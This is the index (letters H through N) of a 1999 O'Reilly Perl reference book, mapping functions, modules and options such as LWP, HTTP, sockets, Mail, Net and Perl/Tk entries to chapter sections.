host_wait() (LWP::RobotUA) : Chapter 17, Reference: host_wait
hostpath (IO::Socket::UNIX) : Chapter 13, Reference: hostpath
HTML (Hypertext Markup Language)
tags, generating with CGI.pm : 10.1. HTML Tag Generation
translating pod to
Chapter 4, Reference: pod2html
8.121. Pod::Html
:html method groups : 10.2. Importing Method Groups
HTML modules : 17.4. The HTML Module
HTML::Element module : 17.4.2. HTML::Element
HTML::FormatPS module : 17.4.4. HTML::FormatPS
HTML::FormatText module : 17.4.5. HTML::FormatText
HTML::Parser module
17.4. The HTML Module
17.4.1. HTML::Parser
HTML::TreeBuilder module : 17.4.3. HTML::TreeBuilder
HTTP (Hypertext Transfer Protocol)
request messages : 17.1. LWP Overview
Win32::Internet functions for : 19.7.3. HTTP Functions
HTTP() (Win32::Internet) : Chapter 19, Reference: HTTP
HTTP modules
HTTP::Cookies module : 17.3.6. HTTP::Cookies
HTTP::Cookies::Netscape module : 17.3.6.1. HTTP::Cookies::Netscape
HTTP::Daemon module : 17.3.7. HTTP::Daemon
HTTP::Daemon::ClientConn module : 17.3.7.1. HTTP::Daemon::ClientConn methods
HTTP::Date module : 17.3.5. HTTP::Date
HTTP::Headers module : 17.3.3. HTTP::Headers
HTTP::Message module : 17.3.8. HTTP::Message
HTTP::Request module
17.1. LWP Overview
17.3.1. HTTP::Request
HTTP::Response module
17.1. LWP Overview
17.3.2. HTTP::Response
HTTP::Status module : 17.3.4. HTTP::Status
HTTP_ACCEPT variable : 9.4. CGI Environment Variables
HTTP_COOKIE variable : 9.4. CGI Environment Variables
HTTP_FROM variable : 9.4. CGI Environment Variables
HTTP_REFERER variable : 9.4. CGI Environment Variables
HTTP_USER_AGENT variable : 9.4. CGI Environment Variables
hyphen (-)
in [...] construct : 4.6.4. Character Classes
arithmetic negation operator : 4.5.2. Unary Operators
grid geometry manager placeholder : 18.2.2. The grid Geometry Manager
Perl debugger command : Chapter 6, Reference: -
-> (arrow) operator
4.5.1. The Arrow Operator
7.4. Object Syntax
dereferencing with : 4.8.2.1. Arrow dereferencing
-= (assignment) operator : 4.5.6. Assignment Operators
-- (autodecrement) operator : 4.5.5. Autoincrement and Autodecrement

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: I

i command (CPAN.pm) : Chapter 2, Reference: i
I<> interior sequence (pod) : 4.11.2. Interior sequences
-I option (dprofpp) : 6.5. The Perl Profiler
-I option (perlcc) : 3.4. The Perl Compiler
-I option (perl) : 3.2. Command-Line Options
-i option (perl) : 3.2. Command-Line Options
i pattern match modifier
4.6.1. Pattern-Matching Operators
4.6.8. Extended Regular Expressions
I18N::Collate module : 8.88. I18N::Collate
iconbitmap() (Frame widget) : 18.18.1. Toplevel Methods
iconify() (Frame widget) : 18.18.1. Toplevel Methods
iconmask() (Frame widget) : 18.18.1. Toplevel Methods
iconname() (Frame widget) : 18.18.1. Toplevel Methods
iconposition() (Frame widget) : 18.18.1. Toplevel Methods
iconwindow() (Frame widget) : 18.18.1. Toplevel Methods
icursor() (Entry) : 18.8.2. Entry Methods
identify()
Scale widget : 18.13.1. Scale Methods
Scrollbar widget : 18.9.1. Scrollbar Methods
if modifier : 4.3.1.4. Modifiers
if statement : 4.3.1. Conditionals and Loops
ignore_text() (HTML::Parser) : Chapter 17, Reference: ignore_text
ignore_unknown() (HTML::Parser) : Chapter 17, Reference: ignore_unknown
ihave() (Net::NNTP) : Chapter 15, Reference: ihave
-image option (widgets) : 18.3. Common Widget Configuration Options
image_button() (CGI.pm) : Chapter 10, Reference: image_button
implicit() (HTML::Parser) : Chapter 17, Reference: implicit
implicit_tags() (HTML::Parser) : Chapter 17, Reference: implicit_tags
import_names() (CGI.pm) : Chapter 10, Reference: import_names
in() (Win32::OLE) : Chapter 19, Reference: in
-in option
grid geometry manager : 18.2.2. The grid Geometry Manager
pack geometry manager : 18.2.1. The pack Geometry Manager
place geometry manager : 18.2.3. The Place Geometry Manager
InactiveDestroy attribute (DBI) : 12.2.3. Database Handles and Statement Handles
INADDR_ANY() (Socket)
13.1.3. Server Connections
13.1.4. Socket Module Functions
INADDR_BROADCAST() (Socket) : 13.1.4. Socket Module Functions
INADDR_LOOPBACK() (Socket) : 13.1.4. Socket Module Functions
INADDR_NONE() (Socket)
.25i : 13.1.4. Socket Module Functions
@INC array : 4.4.2. Global Special Arrays and Hashes
%INC hash : 4.4.2. Global Special Arrays and Hashes
index() : Chapter 5, Reference: index
Entry widget : 18.8.2. Entry Methods
Listbox widget : 18.10.2. Listbox Methods
Menu widget : 18.15.2. Menu Methods
Text widget : 18.11.2. Text Methods
-indicatoron option
Checkbutton widget : 18.5. The Checkbutton Widget
-indicatoron option
Menubutton widget
18.14. The Menubutton Widget
18.14.1. Menu Item Options
Optionmenu widget : 18.16. The Optionmenu Widget
Radiobutton widget : 18.6. The Radiobutton Widget
inet_aton() (Socket) : Chapter 13, Reference: inet_aton
inet_ntoa() (Socket) : Chapter 13, Reference: inet_ntoa
infix dereference (->) operator
4.5.1. The Arrow Operator
4.8.2.1. Arrow dereferencing
7.4. Object Syntax
Info() (Win32::Console) : Chapter 19, Reference: Info
initializing NNTP clients : 15.2.1. Initializing the NNTP Client
initializing sockets : 13.1.1. Initializing a Socket
$INPLACE_EDIT ($^I) variable : 4.4.1. Global Special Variables
<input> tags (HTML) : 9.1. A Typical CGI Interaction
Input() (Win32::Console) : Chapter 19, Reference: Input
input, functions for
(see also $ variables, $_ ($ARG) variable; output)
4.4.1. Global Special Variables
5.1. Perl Functions by Category
$INPUT_LINE_NUMBER ($.) variable : 4.4.1. Global Special Variables
$INPUT_RECORD_SEPARATOR ($/) variable : 4.4.1. Global Special Variables
InputChar() (Win32::Console) : Chapter 19, Reference: InputChar
InputCP() (Win32::Console) : Chapter 19, Reference: InputCP
insert()
Entry widget : 18.8.2. Entry Methods
Listbox widget : 18.10.2. Listbox Methods
Menu widget : 18.15.2. Menu Methods
Text widget : 18.11.2. Text Methods
insert index
Entry widget : 18.8.1. Text Indexes
Text widget : 18.11.1. Text Indexes and Modifiers
insert_element() (HTML::Parser) : Chapter 17, Reference: insert_element
-insertbackground option (widgets) : 18.3. Common Widget Configuration Options
-insertborderwidth option (widgets) : 18.3. Common Widget Configuration Options
-insertofftime option (widgets) : 18.3. Common Widget Configuration Options
-insertontime option (widgets) : 18.3. Common Widget Configuration Options
-insertwidth option (widgets) : 18.3. Common Widget Configuration Options
install command (CPAN.pm) : Chapter 2, Reference: install
installing
mod_perl module : 11.2. Installing mod_perl
Perl documentation : 2.5.1. Installing the Documentation
Perl modules : 2.4.2. Module Installation
Perl source code : 2.3. Installing Perl
instance methods : 7.4. Object Syntax
instances of classes : (see objects)
int() : Chapter 5, Reference: int
integer module : 8.89. integer
interior sequences (pod) : 4.11.2. Interior sequences
Internet-domain sockets : 13. Sockets
interpreter, Perl : 3. The Perl Interpreter
command processing : 3.1. Command Processing
command-line options : 3.2. Command-Line Options
interprocess communication
functions for : 5.1. Perl Functions by Category
inverse_select() (Mail::Folder) : Chapter 14, Reference: inverse_select
invoke()
Button widget : 18.4.1. Button Methods
Checkbutton widget : 18.5.1. Checkbutton Methods
Menu widget : 18.15.2. Menu Methods
Radiobutton widget : 18.6.1. Radiobutton Methods
Win32::OLE module : Chapter 19, Reference: Invoke
IO modules : 8.90. IO
IO::File module : 8.91. IO::File
IO::Handle module : 8.92. IO::Handle
IO::Pipe module : 8.93. IO::Pipe
IO::Seekable module
8.94. IO::Seekable
8.95. IO::Select
IO::Socket module : 8.96. IO::Socket
IO::Socket module : 13.2. The IO::Socket Module
IO::Socket::INET subclass : 13.2.4. IO::Socket::INET Reference
IO::Socket::UNIX subclass : 13.2.5. IO::Socket::UNIX Reference
ioctl() : Chapter 5, Reference: ioctl
-ipadx, -ipady options
grid geometry manager : 18.2.2. The grid Geometry Manager
pack geometry manager : 18.2.1. The pack Geometry Manager
IPC modules : 8.97. IPC::Msg
IPC::Msg module : 8.97. IPC::Msg
IPC::Open2 module : 8.98. IPC::Open2
IPC::Open3 module : 8.99. IPC::Open3
IPC::Semaphore module : 8.100. IPC::Semaphore
IPC::SysV module : 8.101. IPC::SysV
is_client_error() (HTTP::Status : 17.3.4. HTTP::Status
is_empty() (HTML::Parser) : Chapter 17, Reference: is_empty
is_error()
HTTP::Response module : Chapter 17, Reference: is_error
HTTP::Status module : 17.3.4. HTTP::Status
LWP modules
LWP::Simple module : Chapter 17, Reference: is_error
is_fresh() (HTTP::Response) : Chapter 17, Reference: is_fresh
is_info()
HTTP::Response module : Chapter 17, Reference: is_info
HTTP::Status module : 17.3.4. HTTP::Status
is_inside() (HTML::Parser) : Chapter 17, Reference: is_inside
is_protocol_supported() (LWP::UserAgent) : Chapter 17, Reference: is_protocol_supported
is_readonly() (Mail::Folder) : Chapter 14, Reference: is_readonly
is_redirect()
HTTP::Response module : Chapter 17, Reference: is_redirect
HTTP::Status module : 17.3.4. HTTP::Status
is_server_error() (HTTP::Status : 17.3.4. HTTP::Status
is_success()
HTTP::Response module : Chapter 17, Reference: is_success
HTTP::Status module : 17.3.4. HTTP::Status
LWP modules
LWP::Simple module : Chapter 17, Reference: is_success
IsClientConnected property (Response object) : 20.2.2.2. Response properties
isindex() (CGI.pm) : Chapter 10, Reference: isindex
Item() (Win32::OLE::Enum) : 19.18.3. Win32::OLE::Enum
=item command (pod) : Chapter 4, Reference: =item
item tags (Canvas widgets) : 18.12.2. Item Tags and IDs
itemcget() (Canvas) : 18.12.3. Canvas Methods
itemconfigure() (Canvas) : 18.12.3. Canvas Methods
iterating scripts over filenames : 3.2. Command-Line Options

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: J

JavaScript features with CGI.pm : 10.5. Using JavaScript Features
Johnson, Kevin
14. Email Connectivity
14.2.3. Handle Folders with Mail::Folder
join() : Chapter 5, Reference: join
-jump option (Scrollbar) : 18.9. The Scrollbar Widget
-justify option (widgets) : 18.3. Common Widget Configuration Options

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: K

-k file test operator : 4.5.8. File Test Operators
keys() : Chapter 5, Reference: keys
keywords() (CGI.pm) : Chapter 10, Reference: isindex
Kill() (Win32::Process) : Chapter 19, Reference: Kill
kill() : Chapter 5, Reference: kill
Koenig, Andreas : 2.1. The CPAN Architecture

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: L

L command (Perl debugger) : Chapter 6, Reference: L
l command (Perl debugger) : Chapter 6, Reference: l
-l file test operator : 4.5.8. File Test Operators
L<> interior sequence (pod) : 4.11.2. Interior sequences
-l option (dprofpp) : 6.5. The Perl Profiler
-l option (perl) : 3.2. Command-Line Options
-L option (perlcc) : 3.4. The Perl Compiler
-label option
Frame widget : 18.17. The Frame Widget
Menubutton widget : 18.14.1. Menu Item Options
Scale widget : 18.13. The Scale Widget
Label widget (Perl/Tk) : 18.7. The Label Widget
label_exists() (Mail::Folder) : Chapter 14, Reference: label_exists
-labelPack option (Frame) : 18.17. The Frame Widget
labels
loops : 4.3.1.5. Loop control
statement blocks : 4.3. Statements
-labelVariable option (Frame) : 18.17. The Frame Widget
Last()
Mail::POP3Client module : Chapter 14, Reference: Last
last() : Chapter 5, Reference: last
Net::NNTP module : Chapter 15, Reference: last
Net::POP3 module : Chapter 14, Reference: last
last command : 4.3.1.5. Loop control
last index (Menu widget) : 18.15.1. Menu Indexes
last_labeled_message() (Mail::Folder) : Chapter 14, Reference: last_labeled_message
last_message() (Mail::Folder) : Chapter 14, Reference: last_message
$LAST_PAREN_MATCH ($+) variable : 4.4.5. Regular Expression Special Variables
LastError() (Win32::OLE) : Chapter 19, Reference: LastError
LaTeX, translating pod to : Chapter 4, Reference: pod2latex
lc() : Chapter 5, Reference: lc
lcfirst() : Chapter 5, Reference: lcfirst
le (less-than-or-equal) operator : 4.5.4.1. Relational operators
-length option (Scale) : 18.13. The Scale Widget
length() : Chapter 5, Reference: length
less module : 8.102. less
less-than (<, lt) operators : 4.5.4.1. Relational operators
less-than-or-equal (<, le) operators : 4.5.4.1. Relational operators
lexical scoping
4.2.6. Declarations and Scope
4.7.4. Private and Local Variables
lib module : 8.103. lib
lib-win32 library : (see Win32 modules)
lib-www-perl file : (see LWP library)
libnet modules : 14. Email Connectivity
library modules, functions for : 5.1. Perl Functions by Category
__LINE__ constant : 4.4.4. Global Special Constants
line-end processing : 3.2. Command-Line Options
line-input <...> operator : 4.9. Filehandles
LineInfo option (PERLDB_OPTS) : 6.4. Customizing the Debugger
linestart, lineend modifiers (Text widget) : 18.11.1. Text Indexes and Modifiers
link() : Chapter 5, Reference: link
link object (PerlScript) : 20.1.1. The Document Object
Lint backend (Perl compiler) : 3.4. The Perl Compiler
Linux, installing Perl and : 2.3.1. Installing on Unix
list()
Net::FTP module : Chapter 16, Reference: list
Net::NNTP module : Chapter 15, Reference: list
Net::POP3 module : Chapter 14, Reference: list
List()
Win32::Internet module : Chapter 19, Reference: List
List() (Mail::POP3Client) : Chapter 14, Reference: List
list active command (NNTP) : 15.1. The NNTP Protocol
list context : 4.2.5. Scalar and List Contexts
list operators : 4.5. Operators
list prototype symbol (@) : 4.7.5. Prototypes
list_all_labels() (Mail::Folder) : Chapter 14, Reference: list_all_labels
list_labels() (Mail::Folder) : Chapter 14, Reference: list_labels
$LIST_SEPARATOR ($") variable : 4.4.1. Global Special Variables
Listbox widget (Perl/Tk) : 18.10. The Listbox Widget
listen() : Chapter 5, Reference: listen
Socket module
13.1. Built-in Socket Functions
13.1.3. Server Connections
Listen option
IO::Socket::INET module : 13.2.4. IO::Socket::INET Reference
IO::Socket::UNIX module : 13.2.5. IO::Socket::UNIX Reference
listgroup() (Net::NNTP) : Chapter 15, Reference: listgroup
lists : 4.2.3. Lists
functions for processing : 5.1. Perl Functions by Category
passing arguments to subroutines : 4.7.2. Passing Arguments
.lnk files : 19.16. Win32::Shortcut
Load()
Win32::OLE::Const module : 19.18.5. Win32::OLE::Const
Win32::Registry module : Chapter 19, Reference: Load
Win32::Shortcut module : Chapter 19, Reference: Load
load()
HTTP::Cookies module : Chapter 17, Reference: load
News::Newsrc module : Chapter 15, Reference: load
loading functions
AutoLoader module : 8.3. AutoLoader
DynaLoader module : 8.44. DynaLoader
SelfLoader module : 8.129. SelfLoader
local() : Chapter 5, Reference: local
Local option (IO::Socket::UNIX) : 13.2.5. IO::Socket::UNIX Reference
local variables
4.2.6. Declarations and Scope
4.7.4. Private and Local Variables
LocalAddr option (IO::Socket::INET) : 13.2.4. IO::Socket::INET Reference
locale module : 8.104. locale
LocalPort option (IO::Socket::INET) : 13.2.4. IO::Socket::INET Reference
localtime()
Chapter 5, Reference: localtime
4.2.5. Scalar and List Contexts
location object (PerlScript) : 20.1. Client-Side PerlScript
log() : Chapter 5, Reference: log
-log option (perlcc) : 3.4. The Perl Compiler
LOGDIR variable : 3.3. Environment Variables
logical operators : 4.5.9. Logical Operators
login()
Net::FTP module : Chapter 16, Reference: login
Net::Netrc module : Chapter 16, Reference: login
Net::POP3 module
Chapter 14, Reference: login
14.1.3. Retrieving Email with Net::POP3
Login() (Mail::POP3Client)
Chapter 14, Reference: Login
14.2.8.6. Explicitly opening and closing connections
login entries (.netrc) : 16.3. FTP Configuration with Net::Netrc
LongReadLen attribute (DBI) : 12.2.3. Database Handles and Statement Handles
LongTruncOk attribute (DBI) : 12.2.3. Database Handles and Statement Handles
look command (CPAN.pm) : Chapter 2, Reference: look
lookup() (Net::Netrc) : Chapter 16, Reference: lookup
loops : 4.3.1. Conditionals and Loops
low-level socket access functions : 5.1. Perl Functions by Category
lower() (Canvas) : 18.12.3. Canvas Methods
lpa() (Net::Netrc) : Chapter 16, Reference: lpa
ls() (Net::FTP) : Chapter 16, Reference: ls
lstat() : Chapter 5, Reference: lstat
lt (less-than) operator : 4.5.4.1. Relational operators
LWP library : 17. The LWP Library
HTML modules : 17.4. The HTML Module
HTML::Element : 17.4.2. HTML::Element
HTML::FormatPS : 17.4.4. HTML::FormatPS
HTML::FormatText : 17.4.5. HTML::FormatText
HTML::Parser
17.4. The HTML Module
17.4.1. HTML::Parser
HTML::TreeBuilder : 17.4.3. HTML::TreeBuilder
HTTP modules
HTTP::Cookies : 17.3.6. HTTP::Cookies
HTTP::Cookies::Netscape : 17.3.6.1. HTTP::Cookies::Netscape
HTTP::Daemon : 17.3.7. HTTP::Daemon
HTTP::Daemon::ClientConn : 17.3.7.1. HTTP::Daemon::ClientConn methods
HTTP::Date : 17.3.5. HTTP::Date
HTTP::Headers : 17.3.3. HTTP::Headers
HTTP::Message : 17.3.8. HTTP::Message
HTTP::Request
17.1. LWP Overview
17.3.1. HTTP::Request
HTTP::Response
17.1. LWP Overview
17.3.2. HTTP::Response
HTTP::Status : 17.3.4. HTTP::Status
LWP modules
LWP::Debug module : 17.2. The LWP Modules
LWP::MediaTypes module : 17.2. The LWP Modules
LWP::Protocol module : 17.2. The LWP Modules
LWP::RobotUA module
17.2. The LWP Modules
17.2.1. LWP::RobotUA sections
LWP::Simple module
17.2. The LWP Modules
17.2.2. LWP::Simple
LWP::UserAgent module
17.1. LWP Overview
17.2. The LWP Modules
17.2.3. LWP::UserAgent
URI modules : 17.5. The URI Module
URI::Escape : 17.5. The URI Module
URI::Heuristic : 17.5. The URI Module
URI::URL : 17.5.2. URI::URL

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: M

m command (CPAN.pm) : Chapter 2, Reference: m
m command (Perl debugger) : Chapter 6, Reference: m
-M file test operator : 4.5.8. File Test Operators
-m option (perl) : 3.2. Command-Line Options
m pattern match modifier
4.6.1. Pattern-Matching Operators
4.6.8. Extended Regular Expressions
-M option (perl) : 3.2. Command-Line Options
macdef entries (.netrc) : 16.3. FTP Configuration with Net::Netrc
MacEachern, Doug : 11. Web Server Programming with mod_perl
machine entries (.netrc) : 16.3. FTP Configuration with Net::Netrc
mail() (Net::SMTP) : Chapter 14, Reference: mail
MAIL command (SMTP) : 14.1.2. The SMTP Protocol and the SMTP Session
Mail modules
14. Email Connectivity
14.2. The Mail Modules
Mail::Address module : 14.2.6. Parse Email Addresses with Mail::Address
Mail::Folder module : 14.2.3. Handle Folders with Mail::Folder
Mail::Internet module : 14.2.4. Handle Messages with Mail::Internet
Mail::Mailer module : 14.2.1. Send Email with Mail::Mailer
Mail::POP3Client module : 14.2.8. Reading Email with Mail::POP3Client
Mail::Send module : 14.2.2. Better Header Control with Mail::Send
mailing lists, Perl-related : 1.4.3. Mailing Lists
MailTools collection : 14. Email Connectivity
main namespace : 7.1. Namespaces and Packages
MainLoop statement (Perl/Tk) : 18. Perl/Tk
maintaining state (CGI) : 10.3. Maintaining State
make command (CPAN.pm) : Chapter 2, Reference: make
make utility : 2.4.2. Module Installation
Makefiles : 2.4.2. Module Installation
MakeMaker utility : 2.4.3.1. Using MakeMaker
MakeMask() (Win32::FileSecurity) : Chapter 19, Reference: MakeMask
man command : 2.5.1. Installing the Documentation
man pages, translating pod to : Chapter 4, Reference: pod2man
manpages, Perl-related : 2.5.2. The Perl Manpages
map() : Chapter 5, Reference: map
mark() (News::Newsrc) : Chapter 15, Reference: mark
mark_list() (News::Newsrc) : Chapter 15, Reference: mark_list
mark_range() (News::Newsrc) : Chapter 15, Reference: mark_range
marked() (News::Newsrc) : Chapter 15, Reference: marked
marked_articles() (News::Newsrc) : Chapter 15, Reference: marked_articles
markGravity() (Text widget) : 18.11.4. Marks
markNames() (Text widget) : 18.11.4. Marks
marks, with Text widgets : 18.11.4. Marks
markSet() (Text widget) : 18.11.4. Marks
markUnset() (Text widget) : 18.11.4. Marks
$MATCH ($&) variable : 4.4.5. Regular Expression Special Variables
Math modules : 8.105. Math::BigFloat
Math::BigFloat module : 8.105. Math::BigFloat
Math::BigInt module : 8.106. Math::BigInt
Math::Complex module : 8.107. Math::Complex
Math::Trig module : 8.108. Math::Trig
max_size() (LWP::UserAgent) : Chapter 17, Reference: max_size
maxsize() (Frame widget) : 18.18.1. Toplevel Methods
MaxWindow() (Win32::Console) : Chapter 19, Reference: MaxWindow
mdtm() (Net::FTP) : Chapter 16, Reference: mdtm
memory
4.2.4. Variables
7.1. Namespaces and Packages
menu() (Menubutton) : 18.14.2. Menubutton Methods
-menu option
Menubutton widget
18.14. The Menubutton Widget
18.14.1. Menu Item Options
Optionmenu widget : 18.16. The Optionmenu Widget
Menu widget (Perl/Tk) : 18.15. The Menu Widget
Menubutton widget (Perl/Tk) : 18.14. The Menubutton Widget
-menuitems option
Menu widget : 18.15. The Menu Widget
Menubutton widget : 18.14. The Menubutton Widget
message() (HTTP::Response) : Chapter 17, Reference: message
Message() (Mail::POP3Client) : Chapter 14, Reference: Message
message_exists() (Mail::Folder) : Chapter 14, Reference: message_exists
message_list() (Mail::Folder) : Chapter 14, Reference: message_list
message-embedded scripts : 3.2. Command-Line Options
message-oriented protocols : 13. Sockets
metacharacters for regular expressions : 4.6.2. Regular Expression Syntax
anchors : 4.6.5. Anchors
character classes : 4.6.4. Character Classes
escaped sequences : 4.6.3. Escaped Sequences
quantifiers : 4.6.6. Quantifiers
method() (HTTP::Request) : Chapter 17, Reference: method
method attribute (<form> tags) : 9.1.1. Transferring the Form Data
methods : 7.3. Object-Oriented Perl
instance vs. class methods : 7.4. Object Syntax
widget (Perl/Tk) : 18.1.1. Widget Methods
minimal matching : 4.6.6. Quantifiers
minsize() (Frame widget) : 18.18.1. Toplevel Methods
mirror()
LWP modules
LWP::Simple module : Chapter 17, Reference: mirror
LWP::UserAgent module : Chapter 17, Reference: mirror
Mkdir() (Win32::Internet) : Chapter 19, Reference: Mkdir
mkdir() : Chapter 5, Reference: mkdir
Net::FTP module : Chapter 16, Reference: mkdir
-mod option (perlcc) : 3.4. The Perl Compiler
mod_include module : 11.5. Server-Side Includes with mod_perl
mod_perl module : 11. Web Server Programming with mod_perl
installing : 11.2. Installing mod_perl
<Perl> directives (Apache) : 11.6. <Perl> Sections
running CGI scripts with : 11.4. Running CGI Scripts with mod_perl
SSI with : 11.5. Server-Side Includes with mod_perl
Mode()
Win32::Console module : Chapter 19, Reference: Mode
Win32::Internet module : Chapter 19, Reference: Mode
modifiers, conditional : 4.3.1.4. Modifiers
modules, Perl
1.1. What's Perl Good For?
7. Packages, Modules, and Objects
7.2. Modules
compiling into shared objects : 3.4. The Perl Compiler
-m, -M options (perl) : 3.2. Command-Line Options
obtaining and installing : 2.4. Getting and Installing Modules
obtaining from CPAN : 2.2. How Is CPAN Organized?
standard, list of : 8. Standard Modules
modulus (%) operator : 4.5.3. Arithmetic Operators
MouseButtons() (Win32::Console) : Chapter 19, Reference: MouseButtons
move() (Canvas) : 18.12.3. Canvas Methods
msgctl() : Chapter 5, Reference: msgctl
msgget() : Chapter 5, Reference: msgget
msgrcv() : Chapter 5, Reference: msgrcv
msgsnd() : Chapter 5, Reference: msgsnd
multiline fieldholder : 4.10. Formats
multiline scripts : 3.2. Command-Line Options
multiplex service, CPAN : 2.1. The CPAN Architecture
multiplication (*) operator : 4.5.3. Arithmetic Operators
multithreading : 3.5. Threads
mutex objects : 19.9. Win32::Mutex
my()
Chapter 5, Reference: my
4.7.4. Private and Local Variables

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: N

n command (Perl debugger) : Chapter 6, Reference: n
n index
Entry widget : 18.8.1. Text Indexes
Listbox widget : 18.10.1. Listbox Indexes
Menu widget : 18.15.1. Menu Indexes
Text widget : 18.11.1. Text Indexes and Modifiers
-n option (perl) : 3.2. Command-Line Options
\n (newline) sequence : 4.6.3. Escaped Sequences
NAME attribute (DBI) : 12.2.3. Database Handles and Statement Handles
name() (Mail::Address) : Chapter 14, Reference: name
named parameters (CGI) : 10.4. Named Parameters
namespaces
4.2.4. Variables
7.1. Namespaces and Packages
naming
loop labels : 4.3.1.5. Loop control
packages : 7.1. Namespaces and Packages
statement block labels : 4.3. Statements
variables : 4.2.4.2. Hashes
navigator object (PerlScript) : 20.1. Client-Side PerlScript
NDBM_File module : 8.109. NDBM_File
ne (not equal to) operator : 4.5.4.2. Equality operators
nearest() (Listbox) : 18.10.2. Listbox Methods
neat() (DBI) : Chapter 12, Reference: neat
neat_list() (DBI) : Chapter 12, Reference: neat_list
Net modules
8.110. Net::hostent
14. Email Connectivity
Net::FTP module : 16.2. Net::FTP
Net::hostent module : 8.110. Net::hostent
Net::netent module : 8.111. Net::netent
Net::Netrc module : 16.3. FTP Configuration with Net::Netrc
Net::News module : 15.2. Net::NNTP
Net::Ping module : 8.112. Net::Ping
Net::POP3 module : 14.1.3. Retrieving Email with Net::POP3
Net::protoent module : 8.113. Net::protoent
Net::servent module : 8.114. Net::servent
Net::SMTP module : 14.1.1. Send Email with Net::SMTP
Net::SNPP and Net::Time modules : 14. Email Connectivity
netloc() (URI::URL) : Chapter 17, Reference: netloc
.netrc file : 16.3. FTP Configuration with Net::Netrc
netresource data structure : 19.11. Win32::NetResource
:netscape method group : 10.2. Importing Method Groups
NetShareAdd() (Win32::NetResource) : Chapter 19, Reference: NetShareAdd
NetShareCheck() (Win32::NetResource) : Chapter 19, Reference: NetShareCheck
NetShareDel() (Win32::NetResource) : Chapter 19, Reference: NetShareDel
NetShareGetInfo() (Win32::NetResource) : Chapter 19, Reference: NetShareGetInfo
NetShareSetInfo() (Win32::NetResource) : Chapter 19, Reference: NetShareSetInfo
Network News Transfer Protocol (NNTP) : 15. Usenet News
networking
email : 14. Email Connectivity
fetching information, function for : 5.1. Perl Functions by Category
server administration : 19.10. Win32::NetAdmin
sockets : 13. Sockets
built-in functions for : 13.1. Built-in Socket Functions
IO::Socket module : 13.2. The IO::Socket Module
IO::Socket::INET subclass : 13.2.4. IO::Socket::INET Reference
IO::Socket::UNIX subclass : 13.2.5. IO::Socket::UNIX Reference
Usenet news : 15. Usenet News
new()
HTML::Element module : 17.4.2. HTML::Element
HTML::FormatPS module : 17.4.4. HTML::FormatPS
HTML::Parser module : 17.4.1. HTML::Parser
HTTP::Cookies module : 17.3.6. HTTP::Cookies
HTTP::Cookies::Netscape module : 17.3.6.1. HTTP::Cookies::Netscape
HTTP::Daemon module : 17.3.7. HTTP::Daemon
HTTP::Headers module : 17.3.3. HTTP::Headers
HTTP::Request module : 17.3.1. HTTP::Request
HTTP::Response module : 17.3.2. HTTP::Response
LWP modules
LWP::RobotUA module : 17.2.1. LWP::RobotUA sections
Mail::Address module : Chapter 14, Reference: new
Mail::Folder module : Chapter 14, Reference: new
Mail::Internet module : Chapter 14, Reference: new
Mail::Mailer module : Chapter 14, Reference: new
Mail::POP3Client module : Chapter 14, Reference: new
Mail::Send module : Chapter 14, Reference: new
Net::FTP module : Chapter 16, Reference: new
Net::NNTP module : Chapter 15, Reference: new
Net::POP3 module : Chapter 14, Reference: new
Net::SMTP module : Chapter 14, Reference: new
News::Newsrc module : Chapter 15, Reference: new
URI::URL module : 17.5.2. URI::URL
Win32::ChangeNotification module : 19.3. Win32::ChangeNotification
Win32::Console module : 19.2. Win32::Console
Win32::EventLog module : 19.4. Win32::Eventlog
Win32::Internet module
19.7. Win32::Internet
19.7.1. General Internet Methods
Win32::Mutex module : 19.9. Win32::Mutex
Win32::OLE module : Chapter 19, Reference: new
Win32::OLE::Enum module : Chapter 19, Reference: new
Win32::OLE::Variant module : 19.18.4. Win32::OLE::Variant
Win32::Semaphore module : 19.14. Win32::Semaphore
Win32::Shortcut module : 19.16. Win32::Shortcut
newgroups() (Net::NNTP) : Chapter 15, Reference: newgroups
newnews() (Net::NNTP) : Chapter 15, Reference: newnews
news : 15. Usenet News
Net::News module : 15.2. Net::NNTP
News::Newsrc module : 15.3. The News::Newsrc Module
NNTP protocol : 15.1. The NNTP Protocol
News::Newsrc module : 15.3. The News::Newsrc Module
newsgroups
listing available : 15.1. The NNTP Protocol
Perl-related : 1.4.1. The comp.lang.perl.* Newsgroups
newsgroups() (Net::NNTP) : Chapter 15, Reference: newsgroups
.newsrc file : 15.3. The News::Newsrc Module
next command
4.3.1.1. while loops
4.3.1.5. Loop control
Next() (Win32::OLE::Enum) : Chapter 19, Reference: Next
next() : Chapter 5, Reference: next
Net::NNTP module : Chapter 15, Reference: next
